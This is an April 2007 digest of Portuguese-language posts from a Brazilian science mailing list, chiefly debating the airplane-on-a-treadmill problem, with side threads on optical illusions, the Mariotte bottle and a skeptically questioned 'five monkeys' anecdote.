Leia-se Tipoca no lugar de Tapioca.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Balanço do avião - Nova situação
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 08:37

Olá J. Renato,

com satisfação darei meu parecer 'divino'.

Antes, porém, reflita sobre a seguinte situação: sobre uma folha de jornal esticada sobre a mesa e bem no seu centro há uma xícara. Se vc puxar rapidamente o jornal rente à mesa a xícara sairá do lugar? Ela acompanha o jornal?

Se vc concluir que a xícara acompanhará o jornal nesse puxão, nada poderei explicar sobre o avião pousado sobre uma esteira, com rodas 'desbrecadas' e atritos nulos.

Mas, a conclusão é: o avião (nas condições especificadas) pousado sobre a esteira não acompanhará a esteira no seu movimento, desde que a esteira se desloque na mesma direção da fuselagem do avião. Se a esteira for puxada na direção das asas, ai sim, o avião acompanhará a esteira (mas, esse não é o caso em questão).
Ao ligar as turbinas o avião se moverá independentemente da existência ou não da esteira e, existindo, não importará seu sentido de movimento ao longo da direção do movimento do avião.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 19:42
Assunto: Re: [ciencialist] Balanço do avião - Nova situação


Luiz, para não deixar a situação anterior inconclusa, como ocorreu há uns
dois anos, antes de analisar essa nova proposta gostaria de ter seu parecer
sobre a questão que já está em discussão.
Abraços
José Renato
............................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 16, 2007 12:32 PM
Subject: [ciencialist] Balanço do avião - Nova situação


Olá J. Renato e todos da thread do avião/esteira,

vou propor uma nova situação e apreciaria sugestões:

Um avião à hélice ou jato (não importa) prepara-se para aterrar numa longa
pista e baixa seu trem de pouso. Aproximando-se da cabeceira da pista, já
quase tocando o solo o piloto percebe que a pista útil (faixa de pouso) é
constituída por uma interminável esteira em movimento.
Ele percebe tb que no justo instante em que as rodas tocam a esteira, essa
tem a mesma velocidade do avião e mesmo sentido de movimento. Ele não aciona
freio algum pois percebe que a esteira já está suportando o peso do aparelho
e que as rodas estão paradas em relação à esteira (não transladam e não
giram); mas desliga os motores. Não se preocupe com o comprimento da
esteira; ela vai até onde nos interessar e, eventualmente, poderá ir
lentamente diminuindo sua velocidade em relação ao solo esqueça tb qqer
atrito de escorregamento ou rolamento das rodas.
O avião para em relação ao solo ou continua acompanhando a esteira?

[]'

Nota: Outrossim, lembro, delete as partes repetitivas e os pés das mensagens.
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================



SUBJECT: Re: [ciencialist] Fonte permite a ilusão de controlar e reverter o tempo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/04/2007 08:49

Olá Kentaro,

eu tenho uma boa fonte estroboscópica cá em casa (a foto dela está no site Laboratório Virtual); com ela posso ver as gotas d'águas subirem da cuba e entrarem na torneira; posso 'brecar' as gotas (e para isso é necessário usar o efeito Mariotte para garantir vazão constante); posso ler a palavra 'cuidado' escrita numa das pás do ventilador em movimento; posso manter um pêndulo simples parado a 30º no ar etc.
Realmente são efeitos interessantes.
Estou montando o 'Túnel do Tempo', os LEDs permitem isso com muito mais facilidade que as antigas lâmpadas piloto de filamento (que possuem inércia térmica).

aquele abraço ... e continue a nos brindar com suas mensagens.

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 13:33
Assunto: [ciencialist] Fonte permite a ilusão de controlar e reverter o tempo


Fonte permite a ilusão de controlar e reverter o
tempo<http://100nexos.com/arquivo/120>
<http://100nexos.com/arquivo/120#respond>
Assista ao vídeo

<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre quando você
assiste a um filme e as rodas de um carro parecem rodar muito devagar, ou
mesmo no sentido contrário. Neste caso, a câmera capturou a roda em momentos
determinados que, dependendo de sua sincronia, criam essa ilusão. Na "Fonte
do Tempo" de Nate True, uma goteira com água fluorescente é iluminada por
uma luz estroboscópica, como a das discos, que pode piscar rapidamente.
Ajustando a freqüência das luzes, pode-se criar a ilusão de que as gotas
ficam suspensas no ar ou mesmo passam a subir. Veja mais em inglês no site
de Nate <http://cre.ations.net/creation/the-time-fountain>. Conceito
simples, execução criativa, resultados incríveis.
via MightyOpticalIllusions<http://www.moillusions.com/2007/04/time-fountain-video-illusion.html>


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http://www.ciencialist.com


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SUBJECT: Re: [ciencialist] Mais ilusão ótica: quarto de Ames
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, <enigmasonline@yahoogrupos.com.br>, <exobiologia_e_cia@yahoogrupos.com.br>, <painelovni@yahoogrupos.com.br>, <ufoburn@yahoogrupos.com.br>, <Ufolista@yahoogrupos.com.br>, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 17/04/2007 08:56

Genial,
vejam tb

http://100nexos.com/arquivo/119

do telescópio.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Kentaro Mori" <kentaro.mori@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>; <exobiologia_e_cia@yahoogrupos.com.br>; <painelovni@yahoogrupos.com.br>; <ufoburn@yahoogrupos.com.br>; <Ufolista@yahoogrupos.com.br>; "lista CA" <ceticismoaberto@yahoogrupos.com.br>
Enviada em: segunda-feira, 16 de abril de 2007 13:35
Assunto: [ciencialist] Mais ilusão ótica: quarto de Ames


Mais ilusão ótica: quarto de Ames <http://100nexos.com/arquivo/125>
Published April
16th, 2007 in Geral <http://100nexos.com/arquivo/category/geral/>,
Vídeos<http://100nexos.com/arquivo/category/resenhas/videos/>,
Ciência <http://100nexos.com/arquivo/category/ciencia/> and
Idéias<http://100nexos.com/arquivo/category/ideias/>
. 0 Comments <http://100nexos.com/arquivo/125#respond>

Assista ao vídeo <http://100nexos.com/arquivo/125>

Demonstração do quarto de Ames <http://en.wikipedia.org/wiki/Ames_room>. O
quarto parece normal quando visto de um ponto determinado - no caso acima,
exatamente onde a câmera está posicionada. Mas é em realidade um trapezóide,
e um dos cantos está a uma distância maior do que o outro. Pessoas neste
canto mais distante parecerão menores porque nosso cérebro irá estimar seu
tamanho comparando-o com outras pistas de perspectiva, que neste caso, são
enganosas.

O efeito foi usado na trilogia do Senhor dos Anéis
<http://en.wikipedia.org/wiki/The_Lord_of_the_Rings:_The_Fellowship_of_the_Ring_%28film%29>para
que os hobbits parecessem menores, estas
imagens<http://www.moillusions.com/2006/04/dwarf-and-giant-illusion.html>também
devem deixar o efeito evidente.
Uma outra aplicação bela do efeito também pode ser vista no clipe "The
Denial Twist" do White Stripes:

Assista ao vídeoclipe <http://100nexos.com/arquivo/125>

No clipe, Jack e Meg White são normais, e todos os cenários é que são
distorcidos. Ao final há um quarto de Ames, e bem no fim, o cenário é
exibido como realmente é. Muito bom, e, sem surpresa, é mais uma de Michel
Gondry <http://100nexos.com/arquivo/100>.
[via MightyOpticalIllusions<http://www.moillusions.com/2007/03/ames-room-video-illusion.html>
]


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SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 11:33

Renato:
Mas o atual caso das abelhas é único: nos #UA milhares de apicultores perderam seus enxames e, o mais curioso, não os encontraram em lugar nenhum: simplesmente desapareceram.
Nem cadáveres foram encontrados em amplo estudo feito pois o prejuizo econômico e renda familiar é muito grande.

Obviamente que em terminado momento deverão explicar o sumiço.

sds.,
silvio.
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 15, 2007 12:45 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Silvio, abelhas vivem de mata e flores...
Há uma experiência interessante feito com ostras. Elas abrem de acordo com a
maré. Colocadas em tanques no meio dos Estados Unidos. Surpreendentemente,
elas continuaram a abrir com o movimento da maré *naquele lugar*, conforme o
movimento da Lua!
[]s
José Renato
........................................

From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 9:52 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas há
mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com cefalópodes
são mantidas em absoluto sigilo: eles já são treinados para colocar uma
granada no casco de um submarino cujo som lhes é passado pelo controle do
sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com animais,
guardadas como segredo pois são peças importantes em qualquer necessidade
militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia do
que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que
tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>

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SUBJECT: Re: Fonte permite a ilusão de controlar e reverter o tempo
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 11:35

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> (e para isso é necessário usar o efeito Mariotte para garantir vazão
constante)

"Efeito Mariotte"? Não achei este efeito na feiradeciencias.com.br.
Tem Vaso de Mariotte, Lei de Boyle-Mariotte, mas nada de "efeito
Mariotte"...

De qualquer forma, acho que você está falando do "Vaso de Mariotte",
não é? Escoamento constante...
http://www.feiradeciencias.com.br/sala07/07_47.asp

E acho que a fonte que você está falando é esta aqui, não é?
http://www.feiradeciencias.com.br/sala04/04_31.asp

Professor, eu quero sugerir que você não se acanhe e coloque links
para a tua página sempre que você se referir a algum material que se
encontra no imperdível. Não é que eu não goste de usar o Google ou
coisa assim, é só por conveniência mesmo...

[]s
--
César A. K. Grossmann



SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 11:47

Álvaro:

Perdeito. Apenas as idéias dele foram e estãosendo sempre aperfeiçoadas. Ele lançou a teoria e como sempre outros cientistas vão procurando variações em torno do tema.

sds.,
silvio
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 15, 2007 3:16 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Caro Silvio,

As experiências de Pavlov dizem respeito ao estabelecimento de um reflexo
condicionado em um único indivíduo, não à formação de um hábito cultural em
uma comunidade. São coisas muito diferentes.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 9:52 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas há
mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com cefalópodes
são mantidas em absoluto sigilo: eles já são treinados para colocar uma
granada no casco de um submarino cujo som lhes é passado pelo controle do
sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com animais,
guardadas como segredo pois são peças importantes em qualquer necessidade
militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia do
que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA

Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que
tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Fonte permite a ilusão de controlar e reverter o tempo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 12:43

Sim, sim ... é o efeito no uso do frasco de Mariotte --- vazão constante. Sorry, expressei-me mal!

De certo modo é mesmo 'acanhamento científico' não ficar citando meus próprios textos em minhas argumentações na C-List. Não posso fazer um afirmação e apresentar meu próprio texto como 'palavra da autoridade' :-)
Mas, no caso em questão, procede --- deveria ter sido mais explícito e colocar o link para sanar dúvidas.
Agradeço a disfarçada massagem no ego, em sua mensagem :-)

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "César A. K. Grossmann" <cesarakg@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 17 de abril de 2007 11:35
Assunto: [ciencialist] Re: Fonte permite a ilusão de controlar e reverter o tempo


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> (e para isso é necessário usar o efeito Mariotte para garantir vazão
constante)

"Efeito Mariotte"? Não achei este efeito na feiradeciencias.com.br.
Tem Vaso de Mariotte, Lei de Boyle-Mariotte, mas nada de "efeito
Mariotte"...

De qualquer forma, acho que você está falando do "Vaso de Mariotte",
não é? Escoamento constante...
http://www.feiradeciencias.com.br/sala07/07_47.asp

E acho que a fonte que você está falando é esta aqui, não é?
http://www.feiradeciencias.com.br/sala04/04_31.asp

Professor, eu quero sugerir que você não se acanhe e coloque links
para a tua página sempre que você se referir a algum material que se
encontra no imperdível. Não é que eu não goste de usar o Google ou
coisa assim, é só por conveniência mesmo...

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César A. K. Grossmann



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SUBJECT: Ética (em quadrinhos)
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 13:02

http://www.rsrevision.com/Alevel/ethics/kant/calvin_ethics.jpg


SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/04/2007 13:13

José Carlos, escreveu: [ Não, José Renato, o avião não será carregado MESMO!
E é justamente aí que está o problema básico de sua formação em Física como
mencionei no início. Você não conseguiu ainda compreender bem o papel do
atrito e da inércia. Não há nenhum atrito no rolamento das rodas #(por
suposição do problema)# e o avião, como tudo que tem massa, tem inércia,
resiste à mudança de movimento até que lhe seja aplicada uma força
resultante não nula. [ ... ] [ NÃO, José Renato, não existe atrito nos
rolamentos da roda. Você pode girá-la sem transmitir forças para o avião.
Esse foi seu próprio
pressuposto no caso 1. ]
.................................................

Caro, José Carlos, finalmente a luz! Vc está considerando que *não há
atrito* entre o avião e a esteira. Mas essa premissa foi inserida pelo
Tanaka e Homero em comentários posteriores. No problema original não se fala
em atrito, muito menos em atrito zero. Peço verificar que nas minhas
explicações que não há indicação de atrito zero. O problema não menciona
isso. Considero o atrito normal de rolamentos. Vc entrou no bonde andando e
ficou perdido no problema. Mas acredito que agora, após sua reavaliação do
problema, chegaremos a um consenso.

Abraços
José Renato
...................................................


From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 16, 2007 11:08 PM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Comento seus comentários deixando espaços entre o texto...

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Faço comentários no corpo do e-mail abaixo, após
JR1 -,
> OK?
> Marquei meus comentários anteriores com JR - , sem o índice 1.
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 15, 2007 3:53 AM
> Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo
> nada
>
>
> Olá José Renato,
>
> Acredito que sua dúvida seja relevante e talvez se deva a alguns
> problemas na sua formação básica em Física. Assim, vou tentar ajudar
> no que for possível e rezarei para que seus vícios de aprendizagem não
> sejam maiores que minha didática. Então vamos lá... (Por partes)
> JR1 - O objetivo não é inferir quem tem problemas de formação básica em
> Física. Isso é irrelevante. Serve apenas para o inferidor se sentir
melhor
> em relação à sua falta de entendimento ao esquema apresentado.


Esse pode não ser o seu objetivo, mas é o meu. Pode não ter relevância
para você, mas para mim é a única coisa relevante de fato. :)

Esqueceu-se que sou professor? Professores ganham a vida e perdem
minutos preciosos que poderiam dedicar a seus próprios filhos na árdua
luta de tentar facilitar a aprendizagem dos outros. Às vezes em troca
de desaforos, mas também é possível ganhar algum dinheiro. :)


> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
>
> JR - Caro, Prof. José Carlos!
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
>
> Vamos começar por aqui. Talvez o que você tenha dito seja que "para se
> descrever um movimento é bom estabelecer um referencial em relação ao
> qual efetuaremos medidas". O "Ponto zero" a que você se refere é a
> "origem" do referencial escolhido. Os referenciais não são do
> "movimento", mas sim do "observador"; daí decorre que, como você
> parece estar tentando fazer, diferentes observadores podem ter
> diferentes descrições para um mesmo movimento caso tenham escolhido
> referenciais diferentes. Perfeito, mas a "descrição do movimento" não
> é o movimento em si. Procure lembrar disso.
> JR1 - Redundante ao que já tinha apresentado de forma objetiva. Só um
> reparo: se os observadores escolherem *o mesmo ponto de referência* o
> movimento terá o mesmo esquema de desenvolvimento.


Redundância é um dos princípios pedagógicos da aprendizagem já
proposto desde os behavioristas. Redunda, redunda, redunda e fixa a
aprendizagem. :)


> JR - Usualmente, consideramos que a Terra está "fixa". Sua
superfície está
> sempre no mesmo lugar. Desconsideramos todos os demais movimentos, como:
> rotação, translação, nutação, precessão do equinócio e translação
rumo ao
> Apex, ponto imaginário entre as constelações de Hércules e Balança.
>
> Sim, essa é uma simplificação útil na maioria dos casos.
>
> JR - Entretanto, para um cálculo de trajetórias fora da superfície
> terrestre, como ocorre em naves espaciais, já não podemos desconsiderar
> os principais movimentos da Terra, da Lua, do Sol e dos planetas.
>
> Na verdade podemos, pois os referenciais, como você parece saber bem,
> podem ser escolhidos conforme a conveniência do observador. Nada
> impede que descrevamos os movimentos de uma nave tomando como
> referencial a Terra, o Sol ou qualquer outro lugar. A questão é sempre
> a mesma: "qual é o melhor referencial para se descrever o movimento
> com o mínimo de complexidade possível?". Procure lembrar disso também.
> JR1 - Estou falando da influência gravitacional desses astros
citados acima,
> que estão em movimento, as quais devem ser considerados nas
trajetórias de
> naves ou satélites.


Não, você só estava falando do avião e de referenciais. E eu também. :)

Mas isso não tem a menor importância. :)))


> JR - Esse comentário inicial é para relembrar e alertar que *todos os
> movimentos* são relativos a algum ponto de referência. A depender da
escolha
> dessa referência podemos ter várias interpretações.
>
> Exato. E isso vale para movimentos na Terra ou fora dela.
>
> JR - No nosso caso há apenas duas possibilidades básicas a serem
utilizadas:
> um ponto no solo-terra ou um ponto na pista-esteira.
>
> Não é verdade. Talvez aqui esteja começando o problema. Como você mesmo
> acabou de dizer acima, qualquer referencial pode ser escolhido e,
como eu
> frisei um pouco mais acima, é bom escolhermos um
> referencial que torne a descrição do movimento tão simples quanto
possível.
> No caso da descrição do movimento de um avião o que parece ser mais
simples
> é escolher a Terra como referencial e desprezar todos os seus movimentos
> (rotação, translação, etc.).
> JR - Vc entende o que eu quis dizer com possibilidades *básicas*?
>
> JR -Trago a seguir o texto de minha última mensagem para continuar os
> esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
> negativo à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> OK. Sua interpretação está muito boa.
> JR 1 - Grato. Nessa possibilidade estamos de acordo, nos concentremos
> na outra possibilidade a seguir.


É, é lá que está o erro. :)


> JR - 1.1 - Avião parado-estacionado e a esteira acionada acelerando até
> atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
> =]> avião pousado sobre a esteira *com turbinas desligadas*
> é carregado para trás mil metros do ponto 0 em solo-terra.
>
> ERRADO. A esteira NÃO CARREGA o avião. [ ... ]
> JR1 - O seu errado está errado... Claro que um avião pousado sobre
> a esteira com as turbinas paradas será carregado tranqüilamente
> pela esteira, quando a esteira se movimenta. Faço esse raciocínio
> por partes para ver se vc entende os diversos movimentos que
> ocorrem no esquema.


Não, José Renato, o avião não será carregado MESMO! E é justamente aí
que está o problema básico de sua formação em Física como mencionei no
início. Você não conseguiu ainda compreender bem o papel do atrito e
da inércia. Não há nenhum atrito no rolamento das rodas (por suposição
do problema) e o avião, como tudo que tem massa, tem inércia, resiste
à mudança de movimento até que lhe seja aplicada uma força resultante
não nula. Você pode girar as rodas do avião para o lado que quiser,
mas sem atrito nos rolamentos dela não haverá como transmitir força
para o avião (e essa era uma das simplificações adotadas no problema:
desprezar o atrito nos rolamentos da roda - exemplifiquei isso
apontando que você o desprezou no primeiro caso, só não consegue
compreender que o atrito também é desprezado no segundo caso, mas já
veremos porque...).

Seu problema não é com o referencial, é com o conceito de atrito e de
inércia. Ah, também tem outro: com o conceito de força Normal (força
de compressão entre duas superfícies).


> [ ... ] ERRADO. A esteira NÃO CARREGA o avião. Ele permanecerá
> parado sobre o ponto O. Veja que se a esteira carregasse o avião,
> então no primeiro caso o avião deveria ter ficado em repouso sobre o
ponto O
> (pois ele andou 1000 m para a direita e subtraindo os 1000 que a
esteira o
> teria carregado para a esquerda teríamos um deslocamento total em
relação à
> ao solo igual zero!); se ele não ficou parado no primeiro caso é porque
> estamos admitindo que o movimento da esteira não afeta o do avião (a
esteira
> e o avião não trocam forças horizontais, apenas verticais).
> JR1 - Veja que quando a esteira se movimenta, com o avião pousado
sobre ela
> com turbinas desligadas, cria uma componente horizontal que desloca
o avião
> na mesma direção do movimento da esteira.


NÃO, José Renato, não existe atrito nos rolamentos da roda. Você pode
girá-la sem transmitir forças para o avião. Esse foi seu próprio
pressuposto no caso 1.

Eu sei que não lhe parece nada natural imaginar isso, pois isso só
existe no mundo idealizado do problema que vocês inventaram (sem
atrito nenhum no rolamento da roda do avião), mas tente imaginar que
sua esteira acelerou rapidamente... O avião não ficaria para trás e as
rodas dele girariam? Pois é; sem nenhum atrito seria isso o que você
veria para qualquer aceleração da esteira: esteira indo, avião
ficando, rodinhas rodando livres e soltas.


> Observe que você ainda está usando o referencial do solo e o
problema parece
> não ser a escolha do referencial e sim a maneira como você trata a
interação
> entre a esteira e o avião. Vejamos adiante...
> JR1 - Quando vc afirmou acima que a esteira não carrega o avião vi
que é a
> maneira como vc trata a interação entre a esteira e o avião que está lhe
